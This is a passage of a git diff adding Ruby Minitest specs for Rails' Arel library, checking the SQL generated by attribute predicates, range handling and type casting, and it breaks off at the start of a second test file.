+          _(relation[:id].gteq(10)).must_be_kind_of Nodes::GreaterThanOrEqual
+        end
+
+        it "should generate >= in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].gteq(10)
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE "users"."id" >= 10
+          }
+        end
+
+        it "should accept various data types." do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:name].gteq("fake_name")
+          _(mgr.to_sql).must_match %{"users"."name" >= 'fake_name'}
+
+          current_time = ::Time.now
+          mgr.where relation[:created_at].gteq(current_time)
+          _(mgr.to_sql).must_match %{"users"."created_at" >= '#{current_time}'}
+        end
+      end
+
+      describe "#gteq_any" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].gteq_any([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ORs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].gteq_any([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" >= 1 OR "users"."id" >= 2)
+          }
+        end
+      end
+
+      describe "#gteq_all" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].gteq_all([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ANDs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].gteq_all([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" >= 1 AND "users"."id" >= 2)
+          }
+        end
+      end
+
+      describe "#lt" do
+        it "should create a LessThan node" do
+          relation = Table.new(:users)
+          _(relation[:id].lt(10)).must_be_kind_of Nodes::LessThan
+        end
+
+        it "should generate < in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].lt(10)
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE "users"."id" < 10
+          }
+        end
+
+        it "should accept various data types." do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:name].lt("fake_name")
+          _(mgr.to_sql).must_match %{"users"."name" < 'fake_name'}
+
+          current_time = ::Time.now
+          mgr.where relation[:created_at].lt(current_time)
+          _(mgr.to_sql).must_match %{"users"."created_at" < '#{current_time}'}
+        end
+      end
+
+      describe "#lt_any" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].lt_any([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ORs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].lt_any([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" < 1 OR "users"."id" < 2)
+          }
+        end
+      end
+
+      describe "#lt_all" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].lt_all([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ANDs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].lt_all([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" < 1 AND "users"."id" < 2)
+          }
+        end
+      end
+
+      describe "#lteq" do
+        it "should create a LessThanOrEqual node" do
+          relation = Table.new(:users)
+          _(relation[:id].lteq(10)).must_be_kind_of Nodes::LessThanOrEqual
+        end
+
+        it "should generate <= in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].lteq(10)
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE "users"."id" <= 10
+          }
+        end
+
+        it "should accept various data types." do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:name].lteq("fake_name")
+          _(mgr.to_sql).must_match %{"users"."name" <= 'fake_name'}
+
+          current_time = ::Time.now
+          mgr.where relation[:created_at].lteq(current_time)
+          _(mgr.to_sql).must_match %{"users"."created_at" <= '#{current_time}'}
+        end
+      end
+
+      describe "#lteq_any" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].lteq_any([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ORs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].lteq_any([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" <= 1 OR "users"."id" <= 2)
+          }
+        end
+      end
+
+      describe "#lteq_all" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].lteq_all([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ANDs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].lteq_all([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" <= 1 AND "users"."id" <= 2)
+          }
+        end
+      end
+
+      describe "#average" do
+        it "should create a AVG node" do
+          relation = Table.new(:users)
+          _(relation[:id].average).must_be_kind_of Nodes::Avg
+        end
+
+        it "should generate the proper SQL" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id].average
+          _(mgr.to_sql).must_be_like %{
+            SELECT AVG("users"."id")
+            FROM "users"
+          }
+        end
+      end
+
+      describe "#maximum" do
+        it "should create a MAX node" do
+          relation = Table.new(:users)
+          _(relation[:id].maximum).must_be_kind_of Nodes::Max
+        end
+
+        it "should generate proper SQL" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id].maximum
+          _(mgr.to_sql).must_be_like %{
+            SELECT MAX("users"."id")
+            FROM "users"
+          }
+        end
+      end
+
+      describe "#minimum" do
+        it "should create a Min node" do
+          relation = Table.new(:users)
+          _(relation[:id].minimum).must_be_kind_of Nodes::Min
+        end
+
+        it "should generate proper SQL" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id].minimum
+          _(mgr.to_sql).must_be_like %{
+            SELECT MIN("users"."id")
+            FROM "users"
+          }
+        end
+      end
+
+      describe "#sum" do
+        it "should create a SUM node" do
+          relation = Table.new(:users)
+          _(relation[:id].sum).must_be_kind_of Nodes::Sum
+        end
+
+        it "should generate the proper SQL" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id].sum
+          _(mgr.to_sql).must_be_like %{
+            SELECT SUM("users"."id")
+            FROM "users"
+          }
+        end
+      end
+
+      describe "#count" do
+        it "should return a count node" do
+          relation = Table.new(:users)
+          _(relation[:id].count).must_be_kind_of Nodes::Count
+        end
+
+        it "should take a distinct param" do
+          relation = Table.new(:users)
+          count = relation[:id].count(nil)
+          _(count).must_be_kind_of Nodes::Count
+          _(count.distinct).must_be_nil
+        end
+      end
+
+      describe "#eq" do
+        it "should return an equality node" do
+          attribute = Attribute.new nil, nil
+          equality = attribute.eq 1
+          _(equality.left).must_equal attribute
+          _(equality.right.value).must_equal 1
+          _(equality).must_be_kind_of Nodes::Equality
+        end
+
+        it "should generate = in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].eq(10)
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE "users"."id" = 10
+          }
+        end
+
+        it "should handle nil" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].eq(nil)
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE "users"."id" IS NULL
+          }
+        end
+      end
+
+      describe "#eq_any" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].eq_any([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ORs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].eq_any([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" = 1 OR "users"."id" = 2)
+          }
+        end
+
+        it "should not eat input" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          values = [1, 2]
+          mgr.where relation[:id].eq_any(values)
+          _(values).must_equal [1, 2]
+        end
+      end
+
+      describe "#eq_all" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].eq_all([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ANDs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].eq_all([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" = 1 AND "users"."id" = 2)
+          }
+        end
+
+        it "should not eat input" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          values = [1, 2]
+          mgr.where relation[:id].eq_all(values)
+          _(values).must_equal [1, 2]
+        end
+      end
+
+      describe "#matches" do
+        it "should create a Matches node" do
+          relation = Table.new(:users)
+          _(relation[:name].matches("%bacon%")).must_be_kind_of Nodes::Matches
+        end
+
+        it "should generate LIKE in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:name].matches("%bacon%")
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE "users"."name" LIKE '%bacon%'
+          }
+        end
+      end
+
+      describe "#matches_any" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:name].matches_any(["%chunky%", "%bacon%"])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ORs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:name].matches_any(["%chunky%", "%bacon%"])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."name" LIKE '%chunky%' OR "users"."name" LIKE '%bacon%')
+          }
+        end
+      end
+
+      describe "#matches_all" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:name].matches_all(["%chunky%", "%bacon%"])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ANDs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:name].matches_all(["%chunky%", "%bacon%"])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."name" LIKE '%chunky%' AND "users"."name" LIKE '%bacon%')
+          }
+        end
+      end
+
+      describe "#does_not_match" do
+        it "should create a DoesNotMatch node" do
+          relation = Table.new(:users)
+          _(relation[:name].does_not_match("%bacon%")).must_be_kind_of Nodes::DoesNotMatch
+        end
+
+        it "should generate NOT LIKE in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:name].does_not_match("%bacon%")
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE "users"."name" NOT LIKE '%bacon%'
+          }
+        end
+      end
+
+      describe "#does_not_match_any" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:name].does_not_match_any(["%chunky%", "%bacon%"])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ORs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:name].does_not_match_any(["%chunky%", "%bacon%"])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."name" NOT LIKE '%chunky%' OR "users"."name" NOT LIKE '%bacon%')
+          }
+        end
+      end
+
+      describe "#does_not_match_all" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:name].does_not_match_all(["%chunky%", "%bacon%"])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ANDs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:name].does_not_match_all(["%chunky%", "%bacon%"])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."name" NOT LIKE '%chunky%' AND "users"."name" NOT LIKE '%bacon%')
+          }
+        end
+      end
+
+      describe "#between" do
+        it "can be constructed with a standard range" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(1..3)
+
+          _(node).must_equal Nodes::Between.new(
+            attribute,
+            Nodes::And.new([
+              Nodes::Casted.new(1, attribute),
+              Nodes::Casted.new(3, attribute)
+            ])
+          )
+        end
+
+        it "can be constructed with a range starting from -Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(-::Float::INFINITY..3)
+
+          _(node).must_equal Nodes::LessThanOrEqual.new(
+            attribute,
+            Nodes::Casted.new(3, attribute)
+          )
+        end
+
+        it "can be constructed with a quoted range starting from -Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(quoted_range(-::Float::INFINITY, 3, false))
+
+          _(node).must_equal Nodes::LessThanOrEqual.new(
+            attribute,
+            Nodes::Quoted.new(3)
+          )
+        end
+
+        it "can be constructed with an exclusive range starting from -Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(-::Float::INFINITY...3)
+
+          _(node).must_equal Nodes::LessThan.new(
+            attribute,
+            Nodes::Casted.new(3, attribute)
+          )
+        end
+
+        it "can be constructed with a quoted exclusive range starting from -Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(quoted_range(-::Float::INFINITY, 3, true))
+
+          _(node).must_equal Nodes::LessThan.new(
+            attribute,
+            Nodes::Quoted.new(3)
+          )
+        end
+
+        it "can be constructed with an infinite range" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(-::Float::INFINITY..::Float::INFINITY)
+
+          _(node).must_equal Nodes::NotIn.new(attribute, [])
+        end
+
+        it "can be constructed with a quoted infinite range" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(quoted_range(-::Float::INFINITY, ::Float::INFINITY, false))
+
+          _(node).must_equal Nodes::NotIn.new(attribute, [])
+        end
+
+        it "can be constructed with a range ending at Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(0..::Float::INFINITY)
+
+          _(node).must_equal Nodes::GreaterThanOrEqual.new(
+            attribute,
+            Nodes::Casted.new(0, attribute)
+          )
+        end
+
+        it "can be constructed with a range implicitly starting at Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(..0)
+
+          _(node).must_equal Nodes::LessThanOrEqual.new(
+            attribute,
+            Nodes::Casted.new(0, attribute)
+          )
+        end
+
+        it "can be constructed with a range implicitly ending at Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(0..)
+
+          _(node).must_equal Nodes::GreaterThanOrEqual.new(
+            attribute,
+            Nodes::Casted.new(0, attribute)
+          )
+        end
+
+        it "can be constructed with an exclusive range implicitly ending at Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(0...)
+
+          _(node).must_equal Nodes::GreaterThanOrEqual.new(
+            attribute,
+            Nodes::Casted.new(0, attribute)
+          )
+        end
+
+        it "can be constructed with a quoted range ending at Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(quoted_range(0, ::Float::INFINITY, false))
+
+          _(node).must_equal Nodes::GreaterThanOrEqual.new(
+            attribute,
+            Nodes::Quoted.new(0)
+          )
+        end
+
+        it "can be constructed with an endless range starting from Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(::Float::INFINITY..)
+
+          _(node).must_equal Nodes::In.new(attribute, [])
+        end
+
+        it "can be constructed with a beginless range ending in -Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(..-::Float::INFINITY)
+
+          _(node).must_equal Nodes::In.new(attribute, [])
+        end
+
+        it "can be constructed with an exclusive range" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(0...3)
+
+          _(node).must_equal Nodes::And.new([
+            Nodes::GreaterThanOrEqual.new(
+              attribute,
+              Nodes::Casted.new(0, attribute)
+            ),
+            Nodes::LessThan.new(
+              attribute,
+              Nodes::Casted.new(3, attribute)
+            )
+          ])
+        end
+
+        it "can be constructed with a range where the begin and end are equal" do
+          attribute = Attribute.new nil, nil
+          node = attribute.between(1..1)
+
+          _(node).must_equal Nodes::Equality.new(
+            attribute,
+            Nodes::Casted.new(1, attribute)
+          )
+        end
+      end
+
+      describe "#in" do
+        it "can be constructed with a subquery" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:name].does_not_match_all(["%chunky%", "%bacon%"])
+          attribute = Attribute.new nil, nil
+
+          node = attribute.in(mgr)
+
+          _(node).must_equal Nodes::In.new(attribute, mgr.ast)
+        end
+
+        it "can be constructed with a list" do
+          attribute = Attribute.new nil, nil
+          node = attribute.in([1, 2, 3])
+
+          _(node).must_equal Nodes::In.new(
+            attribute,
+            [
+              Nodes::Casted.new(1, attribute),
+              Nodes::Casted.new(2, attribute),
+              Nodes::Casted.new(3, attribute),
+            ]
+          )
+        end
+
+        it "can be constructed with a random object" do
+          attribute = Attribute.new nil, nil
+          random_object = Object.new
+          node = attribute.in(random_object)
+
+          _(node).must_equal Nodes::In.new(
+            attribute,
+            Nodes::Casted.new(random_object, attribute)
+          )
+        end
+
+        it "should generate IN in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].in([1, 2, 3])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE "users"."id" IN (1, 2, 3)
+          }
+        end
+      end
+
+      describe "#in_any" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].in_any([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ORs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].in_any([[1, 2], [3, 4]])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" IN (1, 2) OR "users"."id" IN (3, 4))
+          }
+        end
+      end
+
+      describe "#in_all" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].in_all([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ANDs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].in_all([[1, 2], [3, 4]])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" IN (1, 2) AND "users"."id" IN (3, 4))
+          }
+        end
+      end
+
+      describe "#not_between" do
+        it "can be constructed with a standard range" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(1..3)
+
+          _(node).must_equal Nodes::Grouping.new(
+            Nodes::Or.new([
+              Nodes::LessThan.new(
+                attribute,
+                Nodes::Casted.new(1, attribute)
+              ),
+              Nodes::GreaterThan.new(
+                attribute,
+                Nodes::Casted.new(3, attribute)
+              )
+            ])
+          )
+        end
+
+        it "can be constructed with a range starting from -Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(-::Float::INFINITY..3)
+
+          _(node).must_equal Nodes::GreaterThan.new(
+            attribute,
+            Nodes::Casted.new(3, attribute)
+          )
+        end
+
+        it "can be constructed with a quoted range starting from -Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(quoted_range(-::Float::INFINITY, 3, false))
+
+          _(node).must_equal Nodes::GreaterThan.new(
+            attribute,
+            Nodes::Quoted.new(3)
+          )
+        end
+
+        it "can be constructed with an exclusive range starting from -Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(-::Float::INFINITY...3)
+
+          _(node).must_equal Nodes::GreaterThanOrEqual.new(
+            attribute,
+            Nodes::Casted.new(3, attribute)
+          )
+        end
+
+        it "can be constructed with a quoted exclusive range starting from -Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(quoted_range(-::Float::INFINITY, 3, true))
+
+          _(node).must_equal Nodes::GreaterThanOrEqual.new(
+            attribute,
+            Nodes::Quoted.new(3)
+          )
+        end
+
+        it "can be constructed with an infinite range" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(-::Float::INFINITY..::Float::INFINITY)
+
+          _(node).must_equal Nodes::In.new(attribute, [])
+        end
+
+        it "can be constructed with a quoted infinite range" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(quoted_range(-::Float::INFINITY, ::Float::INFINITY, false))
+
+          _(node).must_equal Nodes::In.new(attribute, [])
+        end
+
+        it "can be constructed with a range ending at Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(0..::Float::INFINITY)
+
+          _(node).must_equal Nodes::LessThan.new(
+            attribute,
+            Nodes::Casted.new(0, attribute)
+          )
+        end
+
+        it "can be constructed with a range implicitly starting at Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(..0)
+
+          _(node).must_equal Nodes::GreaterThan.new(
+            attribute,
+            Nodes::Casted.new(0, attribute)
+          )
+        end
+
+        it "can be constructed with a range implicitly ending at Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(0..)
+
+          _(node).must_equal Nodes::LessThan.new(
+            attribute,
+            Nodes::Casted.new(0, attribute)
+          )
+        end
+
+        it "can be constructed with a quoted range ending at Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(quoted_range(0, ::Float::INFINITY, false))
+
+          _(node).must_equal Nodes::LessThan.new(
+            attribute,
+            Nodes::Quoted.new(0)
+          )
+        end
+
+        it "can be constructed with an endless range starting from Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(::Float::INFINITY..)
+
+          _(node).must_equal Nodes::NotIn.new(attribute, [])
+        end
+
+        it "can be constructed with a beginless range ending in -Infinity" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(..-::Float::INFINITY)
+
+          _(node).must_equal Nodes::NotIn.new(attribute, [])
+        end
+
+        it "can be constructed with an exclusive range" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_between(0...3)
+
+          _(node).must_equal Nodes::Grouping.new(
+            Nodes::Or.new([
+              Nodes::LessThan.new(
+                attribute,
+                Nodes::Casted.new(0, attribute)
+              ),
+              Nodes::GreaterThanOrEqual.new(
+                attribute,
+                Nodes::Casted.new(3, attribute)
+              )
+            ])
+          )
+        end
+      end
+
+      describe "#not_in" do
+        it "can be constructed with a subquery" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:name].does_not_match_all(["%chunky%", "%bacon%"])
+          attribute = Attribute.new nil, nil
+
+          node = attribute.not_in(mgr)
+
+          _(node).must_equal Nodes::NotIn.new(attribute, mgr.ast)
+        end
+
+        it "can be constructed with a Union" do
+          relation = Table.new(:users)
+          mgr1 = relation.project(relation[:id])
+          mgr2 = relation.project(relation[:id])
+
+          union = mgr1.union(mgr2)
+          node = relation[:id].in(union)
+          _(node.to_sql).must_be_like %{
+            "users"."id" IN (( SELECT "users"."id" FROM "users" UNION SELECT "users"."id" FROM "users" ))
+          }
+        end
+
+        it "can be constructed with a list" do
+          attribute = Attribute.new nil, nil
+          node = attribute.not_in([1, 2, 3])
+
+          _(node).must_equal Nodes::NotIn.new(
+            attribute,
+            [
+              Nodes::Casted.new(1, attribute),
+              Nodes::Casted.new(2, attribute),
+              Nodes::Casted.new(3, attribute),
+            ]
+          )
+        end
+
+        it "can be constructed with a random object" do
+          attribute = Attribute.new nil, nil
+          random_object = Object.new
+          node = attribute.not_in(random_object)
+
+          _(node).must_equal Nodes::NotIn.new(
+            attribute,
+            Nodes::Casted.new(random_object, attribute)
+          )
+        end
+
+        it "should generate NOT IN in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].not_in([1, 2, 3])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE "users"."id" NOT IN (1, 2, 3)
+          }
+        end
+      end
+
+      describe "#not_in_any" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].not_in_any([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ORs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].not_in_any([[1, 2], [3, 4]])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" NOT IN (1, 2) OR "users"."id" NOT IN (3, 4))
+          }
+        end
+      end
+
+      describe "#not_in_all" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].not_in_all([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ANDs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].not_in_all([[1, 2], [3, 4]])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" NOT IN (1, 2) AND "users"."id" NOT IN (3, 4))
+          }
+        end
+      end
+
+      describe "#eq_all" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].eq_all([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ANDs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].eq_all([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" = 1 AND "users"."id" = 2)
+          }
+        end
+      end
+
+      describe "#asc" do
+        it "should create an Ascending node" do
+          relation = Table.new(:users)
+          _(relation[:id].asc).must_be_kind_of Nodes::Ascending
+        end
+
+        it "should generate ASC in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.order relation[:id].asc
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" ORDER BY "users"."id" ASC
+          }
+        end
+      end
+
+      describe "#desc" do
+        it "should create a Descending node" do
+          relation = Table.new(:users)
+          _(relation[:id].desc).must_be_kind_of Nodes::Descending
+        end
+
+        it "should generate DESC in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.order relation[:id].desc
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" ORDER BY "users"."id" DESC
+          }
+        end
+      end
+
+      describe "#contains" do
+        it "should create a Contains node" do
+          relation = Table.new(:products)
+          _(relation[:tags].contains(["foo", "bar"])).must_be_kind_of Nodes::Contains
+        end
+
+        it "should generate @> in sql" do
+          relation = Table.new(:products, type_caster: fake_pg_caster)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:tags].contains(["foo", "bar"])
+          _(mgr.to_sql).must_be_like %{ SELECT "products"."id" FROM "products" WHERE "products"."tags" @> '{foo,bar}' }
+        end
+      end
+
+      describe "#overlaps" do
+        it "should create an Overlaps node" do
+          relation = Table.new(:products)
+          _(relation[:tags].overlaps(["foo", "bar"])).must_be_kind_of Nodes::Overlaps
+        end
+
+        it "should generate && in sql" do
+          relation = Table.new(:products, type_caster: fake_pg_caster)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:tags].overlaps(["foo", "bar"])
+          _(mgr.to_sql).must_be_like %{ SELECT "products"."id" FROM "products" WHERE "products"."tags" && '{foo,bar}' }
+        end
+      end
+
+      describe "equality" do
+        describe "#to_sql" do
+          it "should produce sql" do
+            table = Table.new :users
+            condition = table["id"].eq 1
+            _(condition.to_sql).must_equal '"users"."id" = 1'
+          end
+        end
+      end
+
+      describe "type casting" do
+        it "does not type cast by default" do
+          table = Table.new(:foo)
+          condition = table["id"].eq("1")
+
+          assert_not table.able_to_type_cast?
+          _(condition.to_sql).must_equal %("foo"."id" = '1')
+        end
+
+        it "type casts when given an explicit caster" do
+          fake_caster = Object.new
+          def fake_caster.type_cast_for_database(attr_name, value)
+            if attr_name == "id"
+              value.to_i
+            else
+              value
+            end
+          end
+          table = Table.new(:foo, type_caster: fake_caster)
+          condition = table["id"].eq("1").and(table["other_id"].eq("2"))
+
+          assert_predicate table, :able_to_type_cast?
+          _(condition.to_sql).must_equal %("foo"."id" = 1 AND "foo"."other_id" = '2')
+        end
+
+        it "does not type cast SqlLiteral nodes" do
+          fake_caster = Object.new
+          def fake_caster.type_cast_for_database(attr_name, value)
+            value.to_i
+          end
+          table = Table.new(:foo, type_caster: fake_caster)
+          condition = table["id"].eq(Arel.sql("(select 1)"))
+
+          assert_predicate table, :able_to_type_cast?
+          _(condition.to_sql).must_equal %("foo"."id" = (select 1))
+        end
+      end
+
+      private
+        def quoted_range(begin_val, end_val, exclude)
+          Struct.new(:begin, :end, :exclude_end?).new(
+            Nodes::Quoted.new(begin_val),
+            Nodes::Quoted.new(end_val),
+            exclude,
+          )
+        end
+
+        # Mimic PG::TextDecoder::Array casting
+        def fake_pg_caster
+          Object.new.tap do |caster|
+            def caster.type_cast_for_database(attr_name, value)
+              if attr_name == "tags"
+                "{#{value.join(",")}}"
+              else
+                value
+              end
+            end
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/attributes/math_test.rb b/activerecord/test/cases/arel/attributes/math_test.rb
new file mode 100644
index 0000000000000..82bb0c758338a
--- /dev/null
+++ b/activerecord/test/cases/arel/attributes/math_test.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Attributes
+    class MathTest < Arel::Spec
+      %i[* /].each do |math_operator|
+        it "average should be compatible with #{math_operator}" do
+          table = Arel::Table.new :users
+          _(table[:id].average.public_send(math_operator, 2).to_sql).must_be_like %{
+            AVG("users"."id") #{math_operator} 2
+          }
+        end
+
+        it "count should be compatible with #{math_operator}" do
+          table = Arel::Table.new :users
